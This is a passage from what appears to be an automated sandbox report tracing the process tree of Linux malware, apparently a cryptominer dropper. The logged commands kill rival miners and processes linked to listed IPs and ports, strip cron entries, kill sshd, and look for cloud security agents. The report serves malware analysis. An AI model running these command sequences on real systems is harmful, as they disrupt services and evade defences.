  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1402
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1404
- /bin/grep
  grep exe
  2⤵
  PID:1405
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1408
- /bin/grep
  grep exe
  2⤵
  PID:1411
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1410
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1413
- /bin/grep
  grep exe
  2⤵
  PID:1416
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1415
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1418
- /bin/grep
  grep -v grep
  2⤵
  PID:1421
- /bin/grep
  grep /dot
  2⤵
  PID:1420
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1422
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1419
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1423
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads runtime system information
  PID:1424
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1429
- /bin/grep
  grep -v grep
  2⤵
  PID:1427
- /bin/grep
  grep tracepath
  2⤵
  PID:1426
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1428
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1425
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads runtime system information
  PID:1430
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1434
- /bin/grep
  grep -v grep
  2⤵
  PID:1433
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1435
- /bin/grep
  grep ./ll1
  2⤵
  PID:1432
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1431
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1437
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1436
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1439
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1438
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1444
- /bin/grep
  grep -v grep
  2⤵
  PID:1442
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1443
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1440
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1441
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1449
- /bin/grep
  grep -v grep
  2⤵
  PID:1447
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1446
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1448
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1445
- /bin/grep
  grep -v grep
  2⤵
  PID:1452
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1451
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1453
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1454
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1450
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1459
- /bin/grep
  grep -v grep
  2⤵
  PID:1457
- /bin/grep
  grep perfctl
  2⤵
  PID:1456
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1458
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1455
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1464
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1462
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1461
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1463
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1466
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1467
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1468
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1469
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1473
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1475
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1471
- /bin/grep
  grep -v -
  2⤵
  PID:1474
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1472
- /bin/grep
  grep -v -
  2⤵
  PID:1480
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1481
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1477
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1479
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1478
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1485
- /bin/grep
  grep -v -
  2⤵
  PID:1486
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1487
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1483
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1484
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1491
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1490
- /bin/grep
  grep -v -
  2⤵
  PID:1492
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1493
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1489
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1494
- /bin/grep
  grep -v grep
  2⤵
  PID:1497
- /bin/grep
  grep agetty
  2⤵
  PID:1496
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1498
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1499
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1495
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:1500
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1502
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1501
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1503
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1506
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1504
- /bin/sed
  sed /base64/d
  2⤵
  PID:1505
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1509
- /bin/sed
  sed /python/d
  2⤵
  PID:1508
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1507
- /bin/sed
  sed /shm/d
  2⤵
  PID:1511
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1512
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1510
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1515
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1514
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1513
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1518
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1517
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1516
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1521
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1520
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1519
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1524
- /bin/sed
  sed /linux/d
  2⤵
  PID:1523
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1522
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1526
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1525
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1527
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1530
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1529
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1528
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1532
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1533
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1531
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1536
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1535
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1534
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1538
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1539
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1537
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1540
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1541
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  PID:1543
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads runtime system information
  PID:1544
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  PID:1545
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  PID:1546
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  PID:1547
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1548
- /bin/grep
  grep -v -
  2⤵
  PID:1553
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1551
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1554
- /bin/grep
  grep :1414
  2⤵
  PID:1550
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1552
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1558
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1556
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1560
- /bin/grep
  grep -v -
  2⤵
  PID:1559
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1557
- /bin/grep
  grep :143
  2⤵
  PID:1562
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1563
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1564
- /bin/grep
  grep -v -
  2⤵
  PID:1565
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1566
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1570
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1569
- /bin/grep
  grep :2222
  2⤵
  PID:1568
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1572
- /bin/grep
  grep -v -
  2⤵
  PID:1571
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1575
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1578
- /bin/grep
  grep :3333
  2⤵
  PID:1574
- /bin/grep
  grep -v -
  2⤵
  PID:1577
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1576
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1581
- /bin/grep
  grep :3389
  2⤵
  PID:1580
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1582
- /bin/grep
  grep -v -
  2⤵
  PID:1583
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1584
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1588
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1587
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1590
- /bin/grep
  grep :4444
  2⤵
  PID:1586
- /bin/grep
  grep -v -
  2⤵
  PID:1589
- /bin/grep
  grep :5555
  2⤵
  PID:1592
- /bin/grep
  grep -v -
  2⤵
  PID:1595
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1593
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1596
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1594
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1600
- /bin/grep
  grep -v -
  2⤵
  PID:1601
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1602
- /bin/grep
  grep :6666
  2⤵
  PID:1598
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1599
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1606
- /bin/grep
  grep -v -
  2⤵
  PID:1607
- /bin/grep
  grep :6665
  2⤵
  PID:1604
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1608
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1605
- /bin/grep
  grep :6667
  2⤵
  PID:1610
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1611
- /bin/grep
  grep -v -
  2⤵
  PID:1613
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1614
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1612
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1617
- /bin/grep
  grep -v -
  2⤵
  PID:1619
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1618
- /bin/grep
  grep :7777
  2⤵
  PID:1616
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1620
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1625
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1624
- /bin/grep
  grep -v -
  2⤵
  PID:1626
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1627
- /bin/grep
  grep :8444
  2⤵
  PID:1623
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1631
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1630
- /bin/grep
  grep :3347
  2⤵
  PID:1629
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1633
- /bin/grep
  grep -v -
  2⤵
  PID:1632
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1637
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1640
- /bin/grep
  grep :14444
  2⤵
  PID:1636
- /bin/grep
  grep -v -
  2⤵
  PID:1639
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1638
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1644
- /bin/grep
  grep -v -
  2⤵
  PID:1645
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1643
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1646
- /bin/grep
  grep :14433
  2⤵
  PID:1642
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1650
- /bin/grep
  grep -v -
  2⤵
  PID:1651
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1652
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1649
- /bin/grep
  grep :13531
  2⤵
  PID:1648
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1653
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1655
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1654
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Attempts to change immutable files
  PID:1656
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1658
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1657
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Attempts to change immutable files
  PID:1659
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1661
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1660
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Attempts to change immutable files
  PID:1662
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1664
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1663
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  PID:1665
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1667
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1666
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Attempts to change immutable files
  PID:1668
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1670
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1669
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1671
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1672
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1673
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  PID:1674
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1675
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1676
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  PID:1677
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1679
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1678
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1680
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1681
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1682
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  PID:1683
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1685
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1684
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  PID:1686
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1688
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1687
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads runtime system information
  PID:1689
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  PID:1690
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads runtime system information
  PID:1691
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:1692
- /usr/bin/pkill
  pkill -f monero
  2⤵
  PID:1693
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  PID:1694
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1695
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1696
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  PID:1697
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  PID:1698
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  PID:1699
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  PID:1700
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:1701
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads runtime system information
  PID:1702
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  PID:1703
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  PID:1704
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads runtime system information
  PID:1705
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads runtime system information
  PID:1706
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1707
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  PID:1708
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  PID:1709
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1710
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  PID:1711
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1712
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1713
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  PID:1714
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads runtime system information
  PID:1715
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1716
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  PID:1717
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1718
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  PID:1719
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  PID:1720
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  PID:1721
- /bin/grep
  grep ./udp
  2⤵
  PID:1723
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1722
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1725
- /bin/grep
  grep -v grep
  2⤵
  PID:1724
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1726
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1731
- /bin/grep
  grep -v grep
  2⤵
  PID:1729
- /bin/grep
  grep ./oka
  2⤵
  PID:1728
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1730
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1727
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1736
- /bin/grep
  grep -v grep
  2⤵
  PID:1734
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1733
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1732
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1735
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1740
- /bin/grep
  grep -v bin
  2⤵
  PID:1739
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1742
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1743
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1738
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:1737
- /bin/grep
  grep -v postgres
  2⤵
  PID:1744
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1745
- /bin/grep
  grep -v "("
  2⤵
  PID:1741
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1747
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1748
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1746
- /bin/grep
  grep -v "("
  2⤵
  PID:1753
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1752
- /bin/grep
  grep -v bin
  2⤵
  PID:1751
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1755
- /bin/grep
  grep -v postgres
  2⤵
  PID:1756
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1749
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1754
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1758
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1750
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1757
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1759
- /bin/grep
  grep -v bin
  2⤵
  PID:1762
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1763
- /bin/ps
  ps ax
  2⤵
  - Reads runtime system information
  PID:1760
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1765
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1761
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1766
- /bin/grep
  grep -v "("
  2⤵
  PID:1764
- /bin/grep
  grep -v postgres
  2⤵
  PID:1767
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1768
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1769
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1770
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1774
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1773
- /bin/grep
  grep -v grep
  2⤵
  PID:1772
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1771
- /usr/bin/xargs
